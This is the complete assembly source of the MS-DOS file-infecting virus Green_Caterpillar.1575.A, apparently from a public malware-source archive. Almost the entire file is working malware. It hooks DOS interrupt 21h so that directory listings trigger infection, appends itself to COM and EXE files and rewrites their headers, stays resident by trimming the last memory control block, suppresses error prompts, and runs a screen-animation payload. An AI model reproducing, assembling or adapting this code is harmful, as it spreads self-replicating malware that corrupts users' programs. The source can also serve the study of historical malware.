MalwareSourceCode/MSDOS/G-Index/Virus.MSDOS.Unknown.gc1575a.asm

930 lines
15 KiB
NASM
Raw Normal View History

2022-08-21 09:07:57 +00:00
; Green_Caterpillar.1575.A
; TASM /M
seg000 segment byte public 'CODE'
assume cs:seg000
org 100h
assume es:nothing, ss:nothing, ds:seg000
start proc near
jmp short RealStart
db 90h
Int21Ofs dw 0
Int21Seg dw 0
Int1COfs dw 0
Int1CSeg dw 0
exeHeader dw 20CDh
exeMOD dw 9090h
exeDIV dw 0
exeNumSeg dw 0
exeHeadSize dw 0
exeMinPara dw 0
exeMaxPara dw 0
exeSS dw 0
exeSP dw 0
exeCheckSum dw 0
exeIP dw 0
exeCS dw 0
StartCS dw 0
StartIP dw 0
FileSizeHW dw 0
FileSizeLW dw 0
StoreSS dw 0
DTAOffset dw 0
DTASegment dw 0
StartSS dw 0
StoreBP dw 0
StoreES dw 0
Int24Seg dw 0
Int24Ofs dw 0
GenCounter db 16
byte_0_13C db 7, 57h, 75h, 2, 5Ch, 7, 70h, 0, 16h, 0, 0BFh, 0Bh, 5Ch, 7, 70h, 0
RealStart:
push es
push ds
mov ax, es
push cs
pop ds ; DS = CS
push cs
pop es ; ES = CS
assume es:seg000
mov StoreES, ax
mov ax, ss
mov StoreSS, ax
mov al, 2
out 20h, al ; Interrupt controller, 8259A.
cld
xor ax, ax
mov ds, ax ; DS points to IVT
assume ds:nothing
xor si, si
mov di, 13Ch
mov cx, 16
repne movsb
push ds
pop ss ; SS = DS
assume ss:nothing
mov bp, 8
xchg bp, sp
call near ptr sub_0_1C5
jmp StoreFilename
start endp
FixupInts:
call GetInt24Vecs
call CheckInfection
jz AlreadyInf ; Infected Already? Then JMP.
mov al, ds:FileType
push ax
call InfectCOM
pop ax
mov ds:FileType, al
jmp short RestoreFile
nop
AlreadyInf:
call GetIntVectors
call CheckForInstall
cmp ds:FileType, 0 ; No File Type?
jnz RestoreFile ; No? Then JMP.
mov ax, 4C00h
int 21h ; Exit To DOS
RestoreFile: ; COM File?
cmp ds:FileType, 'C'
jnz RestoreEXE ; No? Then JMP.
RestoreCOM:
pop ds
assume ds:seg000
pop es
assume es:nothing
push cs
pop ds ; DS = CS
pop es
push es
mov di, offset start
mov si, offset exeHeader
mov cx, 12
repne movsb ; Restore Original 12 Bytes
push es
pop ds ; DS = ES
mov ax, offset start
push ax
xor ax, ax
retf ; Return to Original COM Program
sub_0_1C5 proc far
mov si, 6
lodsw
cmp ax, 192h
jz RestoreCOM
cmp ax, 179h
jnz loc_0_1D6
jmp loc_0_27F
loc_0_1D6:
cmp ax, 1DCh
jz RestoreEXE
retn
RestoreEXE:
pop ds
pop es
mov bx, cs:exeSS
sub bx, cs:StartSS
mov ax, cs
sub ax, bx
mov ss, ax
assume ss:nothing
mov bp, cs:StoreBP
xchg bp, sp
mov bx, cs:exeCS
sub bx, cs:StartCS
mov ax, cs
sub ax, bx
push ax
mov ax, cs:StartIP
push ax
retf
sub_0_1C5 endp
Caterpillar db '#'
db 1Ah
db '<'
db '#'
db '/'
db '-'
db '-'
db '!'
db '.'
db '$'
db 0Eh
db '#'
db '/'
db '-'
db '<27>'
FileName db 'A:10KBYTE.EXE',0
db 0 ;
db 24h ; $
db 24h ; $
db 24h ; $
db 24h ; $
db 24h ; $
CheckInfection proc near
mov ax, 3D02h
mov dx, offset FileName
int 21h ; Open File
jnb CheckOpened ; No problems? Then JMP.
clc
retn
CheckOpened:
mov StoreSS, ax
mov dx, offset NewInt24
mov ax, 2524h
int 21h ; Set New Int 24h Vectors
mov ax, 4202h
mov bx, StoreSS
mov cx, 0FFFFh
mov dx, 0FFFEh
int 21h ; Move Pointer to End of File - 1
mov dx, offset CheckBytes
mov ah, 3Fh
mov bx, StoreSS
mov cx, 2
int 21h ; Read In 2 Bytes
mov ah, 3Eh
int 21h ; Close File
push ds
mov dx, Int24Ofs
mov ax, Int24Seg
mov ds, ax
mov ax, 2524h
int 21h ; Restore Int 24h Vectors
pop ds
cmp CheckBytes, 0A0Ch ; Infected Already?
clc
retn
CheckInfection endp
CheckBytes dw 0
loc_0_27F:
cmp ax, 22Dh
jz InfectCOM
push ds
pop es ; ES = DS
assume es:seg000
push cs
pop ds ; DS = CS
mov ax, StoreSS
mov ss, ax ; SS = SS
assume ss:nothing
xchg bp, sp
mov si, offset byte_0_13C
mov di, 0
mov cx, 16
cld
repne movsb
jmp FixupInts
InfectCOM proc near
mov al, 'C'
mov FileType, al
mov al, 8
out 70h, al ; CMOS Memory:
; used by real-time clock
in al, 71h ; CMOS Memory
mov GenCounter, al
mov dx, offset FileName
mov ax, 3D02h
int 21h ; Open File
jnb COMOpened ; No problems? Then JMP.
retn
COMOpened: ; Store Handle
mov StoreSS, ax
mov dx, offset exeHeader
mov bx, StoreSS
mov cx, 12
mov ah, 3Fh
int 21h ; Read In 12 Bytes From File
mov ax, 4202h
xor cx, cx
xor dx, dx
int 21h ; Move Pointer to End of File
push ax
add ax, 10h
and ax, 0FFF0h
push ax
shr ax, 1
shr ax, 1
shr ax, 1
shr ax, 1 ; Fix For Segment Size
mov di, offset VirusFixedSeg
stosw ; Store Segment Value
pop ax
pop bx
sub ax, bx
mov cx, 1575
add cx, ax
mov dx, offset start
sub dx, ax
mov bx, StoreSS
mov ah, 40h
int 21h ; Write Virus to File
mov ax, 4200h
xor cx, cx
xor dx, dx
int 21h ; Move Pointer to Beginning of File
mov ah, 40h
mov bx, StoreSS
mov cx, 12
mov dx, offset COMHeader
int 21h ; Write COM Header to File
mov ah, 3Eh
mov bx, StoreSS
int 21h ; Close File
retn
InfectCOM endp
COMHeader:
push cs
mov ax, cs
PUSHOffset db 5
VirusFixedSeg dw 0 ; PUSH Fixed Segment
push ax
mov ax, offset start
push ax
retf
InfectEXE proc near
mov al, 'E'
mov FileType, al
mov al, 8
out 70h, al ; CMOS Memory:
; used by real-time clock
in al, 71h ; CMOS Memory
mov GenCounter, al
mov dx, offset FileName
mov ax, 3D02h
int 21h ; Open EXE File
jnb EXEOpened ; No problems? Then JMP.
retn
EXEOpened:
mov StoreSS, ax
mov dx, offset exeHeader
mov bx, StoreSS
mov cx, 24
mov ah, 3Fh
int 21h ; Read In 24 Bytes
mov ax, 4202h
mov cx, 0
mov dx, 0
int 21h ; Move pointer to End of File
push ax
add ax, 10h
adc dx, 0
and ax, 0FFF0h
mov FileSizeHW, dx
mov FileSizeLW, ax
mov cx, 1831
sub cx, 100h
add ax, cx
adc dx, 0
mov cx, 512
div cx
inc ax
mov exeDIV, ax
mov exeMOD, dx
mov ax, exeCS
mov StartCS, ax
mov ax, exeIP
mov StartIP, ax
mov ax, exeSS
mov StartSS, ax
mov ax, exeSP
mov StoreBP, ax
mov dx, FileSizeHW
mov ax, FileSizeLW
mov cx, 10h
div cx
sub ax, 10h
sub ax, exeHeadSize
mov exeCS, ax
mov exeSS, ax
mov exeIP, 100h
mov exeSP, 100h
mov ax, 4200h
xor cx, cx
mov dx, 2
int 21h ; Move Pointer to Beginning + 2
mov dx, offset exeMOD
mov bx, StoreSS
mov cx, 22
mov ah, 40h
int 21h ; Write New EXE Header
mov ax, 4202h
xor cx, cx
xor dx, dx
int 21h ; Move Pointer to End Of File
mov dx, 100h
mov ax, FileSizeLW
pop cx
sub ax, cx
sub dx, ax
mov cx, 1831
add cx, ax
sub cx, 100h
mov ah, 40h
int 21h ; Write Virus To File
mov ah, 3Eh
int 21h ; Close File
retn
InfectEXE endp
FindFirstFile:
push cx
mov cx, 0
mov ah, 4Eh
int 21h ; Find First File
pop cx
retn
GetIntVectors proc near
push es
mov ax, 351Ch
int 21h ; Get Int 1Ch Vectors
mov cs:Int1COfs, bx
mov cs:Int1CSeg, es
mov ax, 3521h
int 21h ; Get Int 21h Vectors
push es
pop ax
mov cs:Int21Seg, ax
mov cs:Int21Ofs, bx
pop es
assume es:nothing
retn
GetIntVectors endp
CheckForInstall proc near
push ax
push es
push ds
xor ax, ax
mov es, ax ; ES points to IVT
assume es:nothing
mov si, 86h
mov ax, es:[si] ; Get Int 21h Segment
mov ds, ax
mov si, offset InfMarker
cmp word ptr [si], 0A0Ch ; In Memory Already?
jnz InstallVirus ; No? Then JMP.
push ds
pop ax
call sub_0_601
pop ds
pop es
assume es:nothing
pop ax
retn
InstallVirus:
push cs
pop ds
mov ax, StoreES
dec ax
mov es, ax ; ES points to MCB
cmp byte ptr es:0, 'Z' ; Last MCB?
jz GotLastMCB ; Yes? Then JMP.
jmp short NotLastMCB
nop
GotLastMCB: ; Get Amount of Memory in MCB
mov ax, es:3
CheckForInstall endp
mov cx, 1847
shr cx, 1
shr cx, 1
shr cx, 1
shr cx, 1 ; Calculate Paragraphs
sub ax, cx ; Subtract 1847 Bytes
jb NotLastMCB ; Enough Memory? No? Then JMP.
mov es:3, ax ; Set New Amount of Memory in MCB
sub es:12h, cx ; Set Next Segment Value
push cs
pop ds ; DS = CS
mov ax, es:12h
push ax
pop es ; ES points to Virus Segment
mov si, offset start
push si
pop di
mov cx, 1575
cld
repne movsb ; Copy Virus Into Memory
push es
sub ax, ax
mov es, ax ; ES points to IVT
assume es:nothing
mov si, 84h
mov dx, offset NewInt21
mov es:[si], dx ; Set New Int 21h Offset
inc si
inc si
pop ax
mov es:[si], ax ; Set New Int 21h Segment
NotLastMCB:
pop ds
pop es
assume es:nothing
pop ax
retn
NewInt21: ; Virus Calling?
cmp al, 57h
jnz CheckForDTACall ; No? Then JMP.
jmp short JMPInt21
nop
CheckForDTACall: ; Set New DTA Segment/Offset
cmp ah, 1Ah
jnz CheckFindFCB ; No? Then JMP.
call StoreDTAVecs
jmp short JMPInt21
nop
CheckFindFCB: ; Find First File (FCB)?
cmp ah, 11h
jnz CheckFindNextMC ; No? Then JMP.
call FindFirstFCB
iret
CheckFindNextMC: ; Find Next File (FCB)?
cmp ah, 12h
jnz JMPInt21 ; No? Then JMP.
call FindNextFCB
iret
JMPInt21:
jmp dword ptr cs:Int21Ofs
FindFirstFCB proc near
mov al, 57h ; Virus Calling
int 21h ; Find First File (FCB)
push ax
push cx
push dx
push bx
push bp
push si
push di
push ds
push es
push cs
pop ds ; DS = CS
push cs
pop es ; ES = CS
assume es:seg000
mov cs:InfectCount, 0
nop
call GetFilename
jnz GotBadFile
call CheckInfection
jz GotBadFile
call DoInfection
dec InfectCount
GotBadFile:
pop es
assume es:nothing
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
retn
FindFirstFCB endp
GetFilename proc near
push cs
pop es ; ES = CS
assume es:seg000
push cs
pop es ; ES = CS
cld
call StoreFilename
jnb CheckExt ; No problems? Then JMP.
cmp di, 0
retn
CheckExt:
mov di, offset FileName
mov al, '.'
mov cx, 11
repne scasb ; Scan for File Extension
cmp word ptr [di], 'OC' ; COM File?
jnz CheckForEXE ; No? Then JMP.
cmp byte ptr [di+2], 'M' ; COM File?
jnz CheckForEXE ; No? Then JMP.
mov FileType, 'C'
nop
retn
CheckForEXE: ; EXE File?
cmp word ptr [di], 'XE'
jnz BadFileType ; No? Then JMP.
cmp byte ptr [di+2], 'E' ; EXE File?
jnz BadFileType ; NO? Then JMP.
mov FileType, 'E'
nop
BadFileType:
retn
GetFilename endp
StoreFilename proc near
push ds
mov si, cs:DTAOffset
mov ax, cs:DTASegment
mov ds, ax
mov di, offset FileName
lodsb
cmp al, 0FFh ; Extended FCB?
jnz RegularFCB ; No? Then JMP.
add si, 6 ; Add For Extended FCB
lodsb ; Get First Character
jmp short FileOnDrive
nop
RegularFCB: ; Is this a file on a drive?
cmp al, 5
jb FileOnDrive ; Yes? Then JMP.
pop ds
stc
retn
FileOnDrive:
mov cx, 11
cmp al, 0 ; End of Filename?
jz EndOfName ; Yes? Then JMP.
add al, 40h ; Capitalize Drive Letter
stosb ; Store Drive Letter
mov al, ':'
stosb
EndOfName:
lodsb
cmp al, 20h ; End of Filename?
jz EndOFFilename ; Yes? Then JMP.
stosb ; Store Character
jmp short GetNextChar
nop
EndOFFilename:
cmp byte ptr es:[di-1], '.'
jz GetNextChar
mov al, '.'
stosb ; Store EXTENSION Marker
GetNextChar:
loop EndOfName
mov al, 0
stosb ; Store End of Filename
pop ds
clc
retn
StoreFilename endp
FindNextFCB proc near
mov al, 57h ; Virus Call
int 21h ; Find Next File (FCB)
push ax
push cx
push dx
push bx
push bp
push si
push di
push ds
push es
push cs
pop ds ; DS = CS
push cs
pop es ; ES = CS
cmp cs:InfectCount, 0 ; Infected one yet?
jz CheckFile ; No? Then JMP.
jmp short BadFile
nop
CheckFile:
call GetFilename
jnz BadFile ; Bad? Then JMP.
call CheckInfection
jz BadFile ; Infected Already? Then JMP.
call DoInfection
dec InfectCount
pop es
assume es:nothing
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
retn
BadFile:
pop es
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
retn
FindNextFCB endp
InfectCount db 0
StoreDTAVecs proc near
push ax
push ds
pop ax
mov cs:DTASegment, ax
mov cs:DTAOffset, dx
pop ax
retn
StoreDTAVecs endp
GetInt24Vecs proc near
push cs
mov al, 0
out 20h, al ; Interrupt controller, 8259A.
mov ax, 3524h
int 21h ; Get Int 24h Vectors
mov Int24Ofs, bx
mov bx, es
mov Int24Seg, bx
pop es
mov si, offset Caterpillar
mov di, offset FileName
mov cx, 15
loc_0_5FA:
lodsb
add al, 20h
stosb
loop loc_0_5FA
retn
GetInt24Vecs endp
sub_0_601 proc near
push ax
push cs
pop ds ; DS = CS
push cs
pop es ; ES = CS
assume es:seg000
mov bl, GenCounter
cmp bl, 0Ch
ja loc_0_648
cmp bl, 0
jz loc_0_648
mov al, 8
out 70h, al ; CMOS Memory:
; used by real-time clock
in al, 71h ; CMOS Memory
cmp al, 0Ch
ja loc_0_648
cmp al, 0
jz loc_0_648
cmp al, bl
jz loc_0_648
inc bl
call CheckCounter
cmp al, bl
jz loc_0_648
inc bl
call CheckCounter
cmp al, bl
jz loc_0_648
pop ds
call FillWithSpace
push cs
pop ds ; DS = CS
retn
sub_0_601 endp
CheckCounter proc near
cmp bl, 12 ; Counter Below or Equal to 12?
jbe Below12 ; Yes? Then JMP.
sub bl, 12 ; Reset Counter
Below12:
retn
CheckCounter endp
loc_0_648:
pop ax
retn
DoInfection proc near
mov dx, offset NewInt24
mov ax, 2524h
int 21h ; Set New Int 24h Vectors
cmp FileType, 'C' ; COM File?
jnz DoInfectEXE ; No? Then JMP.
call InfectCOM
jmp short InfectedFile
nop
DoInfectEXE:
call InfectEXE
InfectedFile:
push ds
mov dx, Int24Ofs
mov ax, Int24Seg
mov ds, ax
mov ax, 2524h
int 21h ; Restore Int 24h
pop ds
retn
DoInfection endp
NewInt24:
mov al, 3
iret
FillWithSpace proc near
mov dx, offset NewInt1C
mov ax, 251Ch
int 21h ; Set New Int 1Ch
mov byte ptr NewInt1C, 90h
nop
mov ax, 0B800h
mov es, ax ; ES points to Video Memory
assume es:nothing
mov di, 0FA0h
mov ax, 720h
mov cx, 11
repne stosw
push cs
pop es ; ES = CS
assume es:seg000
retn
FillWithSpace endp
db 0 ;
db 0 ;
byte_0_699 db 0
word_0_69A dw 720h
byte_0_69C db 0Fh, 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0F7h, 0Eh
byte_0_6AE db 0EEh
db 0Ch ;
NewInt1C:
nop
sti
push ax
push cx
push dx
push bx
push bp
push si
push di
push ds
push es
push cs
pop ds ; DS = CS
jmp short loc_0_6CA
nop
loc_0_6C0:
pop es
assume es:nothing
pop ds
pop di
pop si
pop bp
pop bx
pop dx
pop cx
pop ax
iret
loc_0_6CA:
mov ax, 0B800h
mov es, ax ; ES points to Video Memory
assume es:nothing
call sub_0_6FD
mov si, offset word_0_69A
mov cx, 22
repne movsb
cmp byte_0_6AE, 0EEh
jz loc_0_6E9
mov byte_0_6AE, 0EEh
jmp short loc_0_6EE
nop
loc_0_6E9:
mov byte_0_6AE, 0F0h
loc_0_6EE:
mov ax, es:[di]
mov ah, 0Eh
mov word_0_69A, ax
mov byte_0_699, 0
jmp short loc_0_6C0
sub_0_6FD proc near
mov di, 0
loc_0_700:
mov si, offset byte_0_69C
push di
mov cx, 18
cld
rep cmpsb
pop di
jz loc_0_718
inc di
inc di
cmp di, 4000
jnz loc_0_700
mov di, 0
loc_0_718:
cmp di, 3998
jnz locret_0_723
mov byte ptr NewInt1C, 0CFh
locret_0_723:
retn
sub_0_6FD endp
FileType db 0 ; E = EXE File C = COM File
; 0 = 1st Generation
InfMarker dw 0A0Ch
seg000 ends
end start